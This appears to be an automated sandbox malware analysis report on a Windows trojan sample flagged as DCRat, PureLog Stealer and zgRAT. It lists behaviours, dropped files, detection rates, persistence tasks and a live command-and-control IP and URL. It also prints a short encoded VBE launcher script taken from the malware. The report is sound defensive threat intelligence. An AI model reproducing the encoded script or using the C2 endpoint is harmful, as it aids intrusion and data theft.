Source: C:\PerfDll\hyperProviderSavesinto.exe	Queries volume information: C:\PerfDll\hyperProviderSavesinto.exe VolumeInformation	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Queries volume information: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Queries volume information: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\System32\dialer.exe

Code function: 46_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

46_2_0000000140001B54

Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe

Code function: 0_2_00007FF7F4D83FCC GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,MapViewOfFile,UnmapViewOfFile,CloseHandle,SetEnvironmentVariableW,GetLocalTime,swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,OleUninitialize,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00007FF7F4D83FCC

Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe

Code function: 0_2_00007FF7F4D66768 GetVersionExW,

0_2_00007FF7F4D66768

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies the hosts file

Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: KZcLqgnLvRf.exe, 00000014.00000002.2908332950.000000001B8A0000.00000004.00000020.00020000.00000000.sdmp, KZcLqgnLvRf.exe, 00000014.00000002.2908332950.000000001B942000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 00000008.00000002.1741648776.0000000012DCC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hyperProviderSavesinto.exe PID: 7836, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: KZcLqgnLvRf.exe PID: 8116, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 1.3.GargantuaN.exe.584d6eb.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.GargantuaN.exe.6dc96eb.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.GargantuaN.exe.6dc96eb.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.hyperProviderSavesinto.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000000.1698928747.00000000007B2000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1637953778.0000000006D7B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1638428127.00000000057FF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\PerfDll\hyperProviderSavesinto.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\WmiPrvSE.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: 1.3.GargantuaN.exe.584d6eb.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.GargantuaN.exe.6dc96eb.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.GargantuaN.exe.6dc96eb.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.hyperProviderSavesinto.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\PerfDll\hyperProviderSavesinto.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\WmiPrvSE.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe, type: DROPPED

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 00000008.00000002.1741648776.0000000012DCC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hyperProviderSavesinto.exe PID: 7836, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: KZcLqgnLvRf.exe PID: 8116, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 1.3.GargantuaN.exe.584d6eb.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.GargantuaN.exe.6dc96eb.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.GargantuaN.exe.6dc96eb.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.hyperProviderSavesinto.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000000.1698928747.00000000007B2000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1637953778.0000000006D7B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1638428127.00000000057FF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\PerfDll\hyperProviderSavesinto.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\WmiPrvSE.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: 1.3.GargantuaN.exe.584d6eb.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.GargantuaN.exe.6dc96eb.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.GargantuaN.exe.6dc96eb.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.hyperProviderSavesinto.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\PerfDll\hyperProviderSavesinto.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\WmiPrvSE.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	241 Windows Management Instrumentation	11 Scripting	1 Exploitation for Privilege Escalation	1 File and Directory Permissions Modification	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	11 Disable or Modify Tools	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	1 Credential API Hooking	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Windows Service	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	Security Account Manager	57 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	12 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Access Token Manipulation	1 Abuse Elevation Control Mechanism	NTDS	361 Security Software Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Service Execution	Network Logon Script	1 Windows Service	4 Obfuscated Files or Information	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	713 Process Injection	3 Software Packing	Cached Domain Credentials	161 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Scheduled Task/Job	1 DLL Side-Loading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	4 Rootkit	Proc Filesystem	11 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	32 Masquerading	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	161 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Access Token Manipulation	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	713 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Hidden Files and Directories	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	61%	ReversingLabs	Win64.Trojan.Uztuby
C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	69%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\GargantuaN.exe	100%	Avira	VBS/Runner.VPG
C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	100%	Avira	HEUR/AGEN.1323342
C:\ProgramData\celaehnmjins\nhxnqwkhmssh.exe	100%	Avira	TR/Kryptik.gqhhv
C:\Users\user\Desktop\zQhPhksn.log	100%	Avira	HEUR/AGEN.1300079
C:\Recovery\RuntimeBroker.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\AppData\Local\Temp\sB1sK52ORC.bat	100%	Avira	BAT/Delbat.C
C:\PerfDll\c2HM4VxGuBBIXOzYQncd9IeSwfaF3.vbe	100%	Avira	VBS/Runner.VPG
C:\PerfDll\hyperProviderSavesinto.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\Desktop\WiKMUFpI.log	100%	Avira	TR/PSW.Agent.qngqt
C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	100%	Avira	HEUR/AGEN.1323342
C:\Recovery\WmiPrvSE.exe	100%	Avira	HEUR/AGEN.1323342
C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\AppData\Local\Temp\GargantuanS.exe	100%	Avira	TR/Kryptik.gqhhv
C:\Users\user\Desktop\LugVktua.log	100%	Avira	HEUR/AGEN.1300079
C:\Users\user\Desktop\KEMGRwnV.log	100%	Avira	TR/PSW.Agent.qngqt
C:\Users\user\AppData\Local\Temp\GargantuaN.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	100%	Joe Sandbox ML
C:\Recovery\RuntimeBroker.exe	100%	Joe Sandbox ML
C:\PerfDll\hyperProviderSavesinto.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	100%	Joe Sandbox ML
C:\Recovery\WmiPrvSE.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	100%	Joe Sandbox ML
C:\PerfDll\hyperProviderSavesinto.exe	88%	ReversingLabs	ByteCode-MSIL.Trojan.Leonem
C:\PerfDll\hyperProviderSavesinto.exe	74%	Virustotal		Browse
C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	88%	ReversingLabs	ByteCode-MSIL.Trojan.Leonem
C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	74%	Virustotal		Browse
C:\ProgramData\celaehnmjins\nhxnqwkhmssh.exe	81%	ReversingLabs	Win64.Packed.Generic
C:\ProgramData\celaehnmjins\nhxnqwkhmssh.exe	61%	Virustotal		Browse
C:\Recovery\RuntimeBroker.exe	88%	ReversingLabs	ByteCode-MSIL.Trojan.Leonem
C:\Recovery\RuntimeBroker.exe	74%	Virustotal		Browse
C:\Recovery\WmiPrvSE.exe	88%	ReversingLabs	ByteCode-MSIL.Trojan.Leonem
C:\Recovery\WmiPrvSE.exe	74%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\GargantuaN.exe	53%	ReversingLabs	Win32.Trojan.Uztuby
C:\Users\user\AppData\Local\Temp\GargantuaN.exe	53%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\GargantuanS.exe	81%	ReversingLabs	Win64.Packed.Generic
C:\Users\user\AppData\Local\Temp\GargantuanS.exe	61%	Virustotal		Browse
C:\Users\user\Desktop\IkSFhrpY.log	17%	ReversingLabs
C:\Users\user\Desktop\IkSFhrpY.log	25%	Virustotal		Browse
C:\Users\user\Desktop\KEMGRwnV.log	67%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\KEMGRwnV.log	69%	Virustotal		Browse
C:\Users\user\Desktop\LugVktua.log	12%	ReversingLabs
C:\Users\user\Desktop\LugVktua.log	20%	Virustotal		Browse
C:\Users\user\Desktop\WiKMUFpI.log	67%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\WiKMUFpI.log	69%	Virustotal		Browse
C:\Users\user\Desktop\XVmuemSr.log	12%	ReversingLabs
C:\Users\user\Desktop\XVmuemSr.log	4%	Virustotal		Browse
C:\Users\user\Desktop\kEwbgeKe.log	12%	ReversingLabs
C:\Users\user\Desktop\kEwbgeKe.log	4%	Virustotal		Browse
C:\Users\user\Desktop\msAjSsFc.log	17%	ReversingLabs
C:\Users\user\Desktop\msAjSsFc.log	25%	Virustotal		Browse
C:\Users\user\Desktop\phOzxInG.log	6%	ReversingLabs
C:\Users\user\Desktop\phOzxInG.log	11%	Virustotal		Browse
C:\Users\user\Desktop\vsaRQqFM.log	6%	ReversingLabs
C:\Users\user\Desktop\vsaRQqFM.log	11%	Virustotal		Browse
C:\Users\user\Desktop\zQhPhksn.log	12%	ReversingLabs
C:\Users\user\Desktop\zQhPhksn.log	20%	Virustotal		Browse
C:\Windows\Provisioning\Packages\KZcLqgnLvRf.exe	88%	ReversingLabs	ByteCode-MSIL.Trojan.Leonem
C:\Windows\Provisioning\Packages\KZcLqgnLvRf.exe	74%	Virustotal		Browse
C:\Windows\RemotePackages\RemoteDesktops\KZcLqgnLvRf.exe	88%	ReversingLabs	ByteCode-MSIL.Trojan.Leonem
C:\Windows\RemotePackages\RemoteDesktops\KZcLqgnLvRf.exe	74%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
https://176.123.168.151	100%	Avira URL Cloud	malware
http://176.123.168.151/4track/TesttrafficEternal/private3/Secure7db/7private3/WordpressLocal/Windows	100%	Avira URL Cloud	malware
http://176.123.168.151	100%	Avira URL Cloud	malware
https://176.123.168.151/4track/TesttrafficEternal/private3/Secure7db/7private3/WordpressLocal/Window	100%	Avira URL Cloud	malware
http://176.123.168.151/4track/TesttrafficEternal/private3/Secure7db/7private3/WordpressLocal/Windows/cpuvoiddbtraffic/2Base/ProviderExternalpipeJavascriptupdateSqldbasyncTemporary.php	100%	Avira URL Cloud	malware
https://176.123.168.151	5%	Virustotal		Browse
http://176.123.168.151/4track/TesttrafficEternal/private3/Secure7db/7private3/WordpressLocal/Windows/cpuvoiddbtraffic/2Base/ProviderExternalpipeJavascriptupdateSqldbasyncTemporary.php	2%	Virustotal		Browse
http://176.123.168.151/4track/TesttrafficEternal/private3/Secure7db/7private3/WordpressLocal/Windows	2%	Virustotal		Browse
http://176.123.168.151	9%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://176.123.168.151/4track/TesttrafficEternal/private3/Secure7db/7private3/WordpressLocal/Windows/cpuvoiddbtraffic/2Base/ProviderExternalpipeJavascriptupdateSqldbasyncTemporary.php	true	2%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://176.123.168.151	KZcLqgnLvRf.exe, 00000014.00000002.2886107190.00000000035B2000.00000004.00000800.00020000.00000000.sdmp	false	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://176.123.168.151/4track/TesttrafficEternal/private3/Secure7db/7private3/WordpressLocal/Window	KZcLqgnLvRf.exe, 00000014.00000002.2886107190.00000000036B1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	hyperProviderSavesinto.exe, 00000008.00000002.1733479923.0000000003304000.00000004.00000800.00020000.00000000.sdmp, KZcLqgnLvRf.exe, 00000014.00000002.2886107190.00000000035B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.123.168.151/4track/TesttrafficEternal/private3/Secure7db/7private3/WordpressLocal/Windows	KZcLqgnLvRf.exe, 00000014.00000002.2886107190.00000000035B2000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://176.123.168.151	KZcLqgnLvRf.exe, 00000014.00000002.2886107190.00000000036B1000.00000004.00000800.00020000.00000000.sdmp	false	5%, Virustotal, Browse Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
176.123.168.151	unknown	Russian Federation		49342	SPEEDYLINERU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1431496
Start date and time:	2024-04-25 10:31:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	56
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe
Detection:	MAL
Classification:	mal100.troj.adwa.evad.winEXE@77/37@0/1
EGA Information:	Successful, ratio: 85.7%
HCA Information:	Successful, ratio: 56% Number of executed functions: 201 Number of non-executed functions: 222
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): WmiPrvSE.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target GargantuanS.exe, PID 7524 because it is empty
Execution Graph export aborted for target nhxnqwkhmssh.exe, PID 7844 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:32:03	Task Scheduler	Run new task: KZcLqgnLvRf path: "C:\Program Files (x86)\reference assemblies\Microsoft\Framework\KZcLqgnLvRf.exe"
09:32:03	Task Scheduler	Run new task: KZcLqgnLvRfK path: "C:\Program Files (x86)\reference assemblies\Microsoft\Framework\KZcLqgnLvRf.exe"
09:32:03	Task Scheduler	Run new task: WmiPrvSE path: "C:\Recovery\WmiPrvSE.exe"
09:32:03	Task Scheduler	Run new task: WmiPrvSEW path: "C:\Recovery\WmiPrvSE.exe"
09:32:05	Task Scheduler	Run new task: RuntimeBroker path: "C:\Recovery\RuntimeBroker.exe"
09:32:05	Task Scheduler	Run new task: RuntimeBrokerR path: "C:\Recovery\RuntimeBroker.exe"
10:32:00	API Interceptor	21x Sleep call for process: powershell.exe modified
10:32:08	API Interceptor	147287x Sleep call for process: KZcLqgnLvRf.exe modified
10:32:38	API Interceptor	78x Sleep call for process: WmiPrvSE.exe modified
10:32:38	API Interceptor	439671x Sleep call for process: winlogon.exe modified
10:32:39	API Interceptor	340380x Sleep call for process: dialer.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SPEEDYLINERU	NMdpQecbkg.elf	Get hash	malicious	Mirai	Browse	213.108.22.242
	gZo873g1iv.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	176.123.169.110
	bXKYLbAIza.exe	Get hash	malicious	DCRat, zgRAT	Browse	176.123.168.238
	0rsj8JbJNU.dll	Get hash	malicious	Amadey	Browse	176.123.171.210
	0rsj8JbJNU.dll	Get hash	malicious	Amadey	Browse	176.123.171.210
	sora.arm.elf	Get hash	malicious	Mirai	Browse	176.109.66.246
	1SSHp4VKId.elf	Get hash	malicious	Mirai	Browse	91.219.224.229
	sora.x86.elf	Get hash	malicious	Mirai	Browse	176.109.66.255
	g1HGcyBXTj.elf	Get hash	malicious	Mirai	Browse	91.219.224.244
	suO9QdfkQa.elf	Get hash	malicious	Mirai	Browse	213.108.22.230

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
c12f54a3f91dc7bafd92cb59fe009a35	1N9LML9w7L.exe	Get hash	malicious	Neshta, XWorm	Browse	176.123.168.151
	VgbVS3yBhI.exe	Get hash	malicious	Neshta, XWorm	Browse	176.123.168.151
	J7tu5vP0fA.exe	Get hash	malicious	Neshta, XWorm	Browse	176.123.168.151
	NECOv1fTXe.exe	Get hash	malicious	Neshta, XWorm	Browse	176.123.168.151
	ZvZ746X318.exe	Get hash	malicious	Neshta, XWorm	Browse	176.123.168.151
	PdMBQWIwWE.exe	Get hash	malicious	AsyncRAT, Neshta, VenomRAT	Browse	176.123.168.151
	xdNhIDAiy6.exe	Get hash	malicious	Neshta	Browse	176.123.168.151
	ELq1Ghub8k.exe	Get hash	malicious	AsyncRAT, Neshta, VenomRAT	Browse	176.123.168.151
	l1aiKGBq3S.exe	Get hash	malicious	Neshta, XWorm	Browse	176.123.168.151
	JaTAKnq6PL.exe	Get hash	malicious	Neshta, XWorm	Browse	176.123.168.151

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\IkSFhrpY.log	hfGA6tjyxY.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	3m7cmtctck.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse
	jXtV6KO1A7.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	fDTPlvsGfH.exe	Get hash	malicious	DCRat	Browse
	W4tW72sfAD.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	8CDSiIApNr.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	3otr19d5Oq.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	idYLOQOVSi.exe	Get hash	malicious	DCRat	Browse
	ZAF4Dsu737.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	mbsPX9l9Ge.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse

Created / dropped Files

C:\PerfDll\c2HM4VxGuBBIXOzYQncd9IeSwfaF3.vbe

Download File

Process:	C:\Users\user\AppData\Local\Temp\GargantuaN.exe
File Type:	data
Category:	dropped
Size (bytes):	202
Entropy (8bit):	5.811991669101916
Encrypted:	false
SSDEEP:	6:GowqK+NkLzWbH9WF08nZNDd3RL1wQJRWrP3Vmz71:GpMCzWL74d3XBJxX1
MD5:	E58F54961290891BA8DD349131192542
SHA1:	E95EE8B62C8ED496FCC87CF0BAE3290392A4196E
SHA-256:	9B129787A354C2400B13F6A3ADC4B22BB4EFE21B88E1A04E7E5DC6D093E421A8
SHA-512:	5914AF838FA227A64705EF2AFBBC10B19A66D121E177EED8215A69F05CDFE7406AC8CF87897607E337A8E13B66A6D1ED091B2AA6B841E264A935E9A7BACA21FE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	#@~^sQAAAA==j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE@#@&.U^DbwO UV+n2vT!Zb@#@&j.Y,./4?4nV^PxP;DnCD+r(%+1Y`r.jmMkaY ?4n^VE#@#@&.ktj4.VV ]!x~J;lJnnM0GVVJz7-3.N-:Uj\qWLkz"mc4lDESPZ~,0CVdn1zcAAA==^#~@.

C:\PerfDll\hyperProviderSavesinto.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\GargantuaN.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1968128
Entropy (8bit):	7.554175262094728
Encrypted:	false
SSDEEP:	24576:wR5wlxvspUb0qtT2YSCeBJxs56NAFUhOcfMxHoktN/c61+bURfTj/PlzBCpEwxl5:wUPKCeJxkBceok7WURfTj/j9wDmm
